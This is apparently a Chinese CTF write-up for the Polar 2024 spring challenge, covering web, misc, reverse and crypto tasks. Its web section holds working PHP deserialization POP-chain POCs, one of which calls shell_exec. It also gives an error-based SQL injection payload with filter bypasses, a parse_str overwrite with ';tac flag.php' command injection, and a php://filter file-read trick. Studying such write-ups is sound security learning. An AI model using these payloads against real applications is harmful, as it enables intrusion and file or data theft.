Polar 2024春季个人挑战赛 Jay17 WP

Polar 2024春季个人挑战赛

Rank：7

【WEB】机器人

开题

起手敏感文件robots.txt

【WEB】PHP反序列化初试

最简单的php反序列化

POC：

<?php
class Easy{
    public $name;
    public function __wakeup()
    {
        echo $this->name;
    }
}
class Evil{
    public $evil;
    private $env;
    public function __toString()
    {
        $this->env=shell_exec($this->evil);
        return $this->env;
    }
}


$a=new Easy();
$a->name=new Evil();
$a->name->evil='cat f1@g.php';

echo serialize($a);

【WEB】file

开题

点不了开始，直接upload.php

【WEB】PlayGame

直接给了源码

简单反序列化，POC：

<?php
/*
PolarD&N CTF
*/
class User{
    public $name;
    public $age;
    public $sex;

    public function __toString()
    {
        return "name:".$this->name."age:".$this->age."sex:".$this->sex;
    }
    public function setName($name){
        $this->name=$name;
    }
    public function setAge($age){
        $this->$age=$age;
    }
    public function setSex($sex){
        $this->$sex=$sex;
    }
}
class PlayGame{
    public $user;
    public $gameFile="./game";
    public function openGame(){
        return 1;
        //file_get_contents($this->gameFile);
    }
    public function __destruct()
    {
        echo $this->user->name."GameOver!";
    }
    public function __toString(){
        return $this->user->name."PlayGame ". $this->user->age . $this->openGame();
    }
}

$a=new PlayGame();
$a->user->name=new User();
$a->user->name->name=new PlayGame();
$a->user->name->name->gameFile='../../../../../flag';

unserialize(serialize($a));

【WEB】csdn

开题

存在文件包含

被骗了呜呜呜

【WEB】search

开题，一眼SQL

报错注入梭哈了

空格用/**/，大小写绕过

库：CTF

表：Flag,Students

列：Flag

payload：

query=1'/**/and/**/uPdatexmL(1,coNcat(0x7e,(sELect/**/group_cOncat(Flag)/**/frOm/**/CTF.Flag),0x7e),3)#

query=1'/**/and/**/uPdatexmL(1,coNcat(0x7e,(sELect/**/reverse(group_cOncat(Flag))/**/frOm/**/CTF.Flag),0x7e),3)#


flag{Polar_CTF_426891370wxbglbnfwaq}

【WEB】PHP_Deserialization

直接给了源码：

<?php

/*

PolarD&N CTF

*/

class Polar
{
    public $night;
    public $night_arg;

    public function __wakeup()
    {
        echo "hacker";
        $this->night->hacker($this->night_arg);
    }

}

class Night
{
    public function __call($name, $arguments)
    {
        echo "wrong call:" . $name . "  arg:" . $arguments[0];
    }
}

class Day
{
    public $filename="/flag";

    public function __toString()
    {
        $this->filename = str_replace("flag", "", $this->filename);
        echo file_get_contents($this->filename);
        return $this->filename;
    }
}

if (isset($_POST['polar'])) {
    unserialize(base64_decode($_POST['polar']));
} else {
    highlight_file(__FILE__);
}

双写绕过，POC：

<?php

/*

PolarD&N CTF

*/

class Polar
{
    public $night;
    public $night_arg;

    public function __wakeup()
    {
        echo "hacker";
        $this->night->hacker($this->night_arg);
    }

}

class Night
{
    public function __call($name, $arguments)
    {
        echo "wrong call:" . $name . "  arg:" . $arguments[0];
    }
}

class Day
{
    public $filename="/flag";

    public function __toString()
    {
        $this->filename = str_replace("flag", "", $this->filename);
        echo file_get_contents($this->filename);
        return $this->filename;
    }
}



$a=new Polar();
$a->night=new Night();
$a->night_arg=new Day();
$a->night_arg->filename='/flflagag';

echo base64_encode(serialize($a));

payload：

Tzo1OiJQb2xhciI6Mjp7czo1OiJuaWdodCI7Tzo1OiJOaWdodCI6MDp7fXM6OToibmlnaHRfYXJnIjtPOjM6IkRheSI6MTp7czo4OiJmaWxlbmFtZSI7czo5OiIvZmxmbGFnYWciO319

【WEB】覆盖

parse_str函数造成变量覆盖

?id=a[0]=www.polarctf.com&cmd=;tac flag.php

【WEB】uploader

应该是没有过滤，不过得自己写个上传表单

<form action="http://e0aced16-e5c4-4e03-8911-e9b3180ea03c.www.polarctf.com:8090/" enctype="multipart/form-data" method="post" >
    
    <input name="file" type="file" />
    <input type="submit" type="gogogo!" />
   
</form>

【WEB】phar

直接给了源码

读取funs.php

?file=php://filter/read=convert.base64-encode/resource=./funs.php

<?php
include 'f1@g.php';
function myWaf($data)
{
    if (preg_match("/f1@g/i", $data)) {
        echo "NONONONON0!";
        return FALSE;
    } else {
        return TRUE;
    }
}

class A
{
    private $a;

    public function __destruct()
    {
        echo "A->" . $this->a . "destruct!";
    }
}

class B
{
    private $b = array();
    public function __toString()
    {
        $str_array= $this->b;
        $str2 = $str_array['kfc']->vm50;
        return "Crazy Thursday".$str2;
    }
}
class C{
    private $c = array();
    public function __get($kfc){
        global $flag;
        $f = $this->c[$kfc];
        var_dump($$f);
    }
}

private全改public

POC：

<?php
class A
{
    public $a;

    public function __destruct()
    {
        echo "A->" . $this->a . "destruct!";
    }
}

class B
{
    public $b = array();
    public function __toString()
    {
        $str_array= $this->b;
        $str2 = $str_array['kfc']->vm50;
        return "Crazy Thursday".$str2;
    }
}
class C{
    public $c = array();
    public function __get($kfc){
        global $flag;
        $f = $this->c[$kfc];
        var_dump($$f);
    }
}

$a=new A();
$a->a=new B();
$a->a->b['kfc']=new C();
$b['vm50']='flag';
$a->a->b['kfc']->c=$b;

echo serialize($a);

payload：

?file=f1@g&data=O:1:"A":1:{s:1:"a";O:1:"B":1:{s:1:"b";a:1:{s:3:"kfc";O:1:"C":1:{s:1:"c";a:1:{s:4:"vm50";s:4:"flag";}}}}}

【WEB】Fastjson*

前言：xalan是java操作xml的库，属于java内置的官方库之一，在CC链中主要用到的是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类。与上篇文章中提到的利用链不同，xalan最终是通过加载字节码来达到代码执行的效果，所以xalan更适合于执行语句的场景，利用xalan来植入内存马会比其他链更加方便。如果目标同时可以使用多条CC链，通常会更倾向于使用xalan相关的链。

待我再研究一下

【REVERSE】一个flag劈三瓣儿

打开就有

【MISC】你懂二维码吗？

解压出现问题打开发现是文件头前多了一串冗余字符，删去成功解压，得到一个需要密码的压缩包，爆破一下发现不行，回到010中查看一下图片，发现类似密码的字符串：

解压果然成功，得到txt打开乱码，010中查看确认到png头，改成png后缀后得到二维码

flag{zun_du_jia_du}

【MISC】加点儿什么

下载得到一张图片老样子010打开发现文件尾有多于字符，根据特征判断为压缩包，用foremost分离后得到一个cpp文件，需要加入什么东西，观察代码发现只要加入打印得到密文的语句即可：

#include<bits/stdc++.h>
using namespace std;
#define MAX 100
char ciphertext[MAX]; //密文
char plaintext[MAX]; //明文
int K=4;



void Encryption()
{
    cout<<"请输入明文："<<endl;
    gets(plaintext);
    cout<<"密文为："<<endl;
    for(int i=0; plaintext[i] != '\0'; i++)
    {
        if(plaintext[i] >= 'A' && plaintext[i] <= 'Z')
        {
            ciphertext[i] = (plaintext[i] - 'A' + K) % 26 + 'A';
        }
        else if (plaintext[i] >= 'a' && plaintext[i] <= 'z')
        {
            ciphertext[i] = (plaintext[i] - 'a' + K) % 26 + 'a';
        }
        else
            ciphertext[i] = plaintext[i];
        cout << ciphertext[i]; // 修改这里，应该打印加密后的密文
    }
    ciphertext[strlen(plaintext)] = '\0'; // 确保添加字符串终止符
    cout << "\n";
}
void Decryption()
{
    cout<<"请输入密文："<<endl;
    gets(ciphertext);
    cout<<"明文为："<<endl;
    for(int i=0; ciphertext[i] != '\0'; i++)
    {
        if(ciphertext[i] >= 'A' && ciphertext[i] <= 'Z')
        {
            plaintext[i] = ((ciphertext[i] - 'A' - K) % 26 + 26) % 26 + 'A';
        }
        else if (ciphertext[i] >= 'a' && ciphertext[i] <= 'z')
        {
            plaintext[i] = ((ciphertext[i] - 'a' - K) % 26 + 26) % 26 + 'a';
        }
        else
            plaintext[i] = ciphertext[i];
        cout << plaintext[i]; // 修改这里，确保在解密过程中打印每个解密后的字符
    }
    plaintext[strlen(ciphertext)] = '\0'; // 确保添加字符串终止符
    cout << "\n";
}
int main()
{
    int n,flag=1;
    while(flag)
    {
        cout<<"请选择（1:加密，2:解密,3:退出）："<<endl;
        cin>>n;
        getchar(); // 用于捕获并丢弃输入流中的换行符
        switch(n)
        {
            case 1:
                Encryption();
                break;
            case 2:
                Decryption();
                break;
            case 3:exit(0);
        }
    }
}

flag{372658619FE0707E8C64DB2400B96991}

【CRYPTO】周杰伦的贝斯

附件：

👊👢👧👉👎🐽👅👁👈🐧👉👆👈👣👟👐👊👱🐧🐰👇👈🐴🐴

一眼base100

【CRYPTO】歌词最后一句

题目描述：找到歌词最后一句MD5加密套上flag

附件：

跳舞小人是WYDOSNOWSB

11月的肖邦是个专辑，tmd全部试一遍吧。

【CRYPTO】rsaaa

附件：

e = 65537
p = 9648423029010515676590551740010426534945737639235739800643989352039852507298491399561035009163427050370107570733633350911691280297777160200625281665378483
q = 11874843837980297032092405848653656852760910154543380907650040190704283358909208578251063047732443992230647903887510065547947313543299303261986053486569407
c =75036747635306642448951304206998877676661823155273906467327033126738852180428655042280881978878498990667216678397370196258985509664476355705024803037163192947063192452198182809379575421727717664980771937882048579654137560876937198021458204902826397562775388222716165902130775042367930795903054668968295345506

脚本：

from gmpy2 import *
from Crypto.Util.number import *

import gmpy2
def Decrypt(c,e,p,q):
	L=(p-1)*(q-1)
	#print(L)
	d=gmpy2.invert(e,L)   # ed=1+k(p-1)*(q-1)
	n=p*q
	m=gmpy2.powmod(c,d,n)   #m=c^d mod n

	flag=str(m)
	print("ctfshow{"+flag+"}")
	print(long_to_bytes(m))
	print(m)
if __name__ == '__main__':
	e = 65537
	p = 9648423029010515676590551740010426534945737639235739800643989352039852507298491399561035009163427050370107570733633350911691280297777160200625281665378483
	q = 11874843837980297032092405848653656852760910154543380907650040190704283358909208578251063047732443992230647903887510065547947313543299303261986053486569407
	c = 75036747635306642448951304206998877676661823155273906467327033126738852180428655042280881978878498990667216678397370196258985509664476355705024803037163192947063192452198182809379575421727717664980771937882048579654137560876937198021458204902826397562775388222716165902130775042367930795903054668968295345506

	Decrypt(c,e,p,q)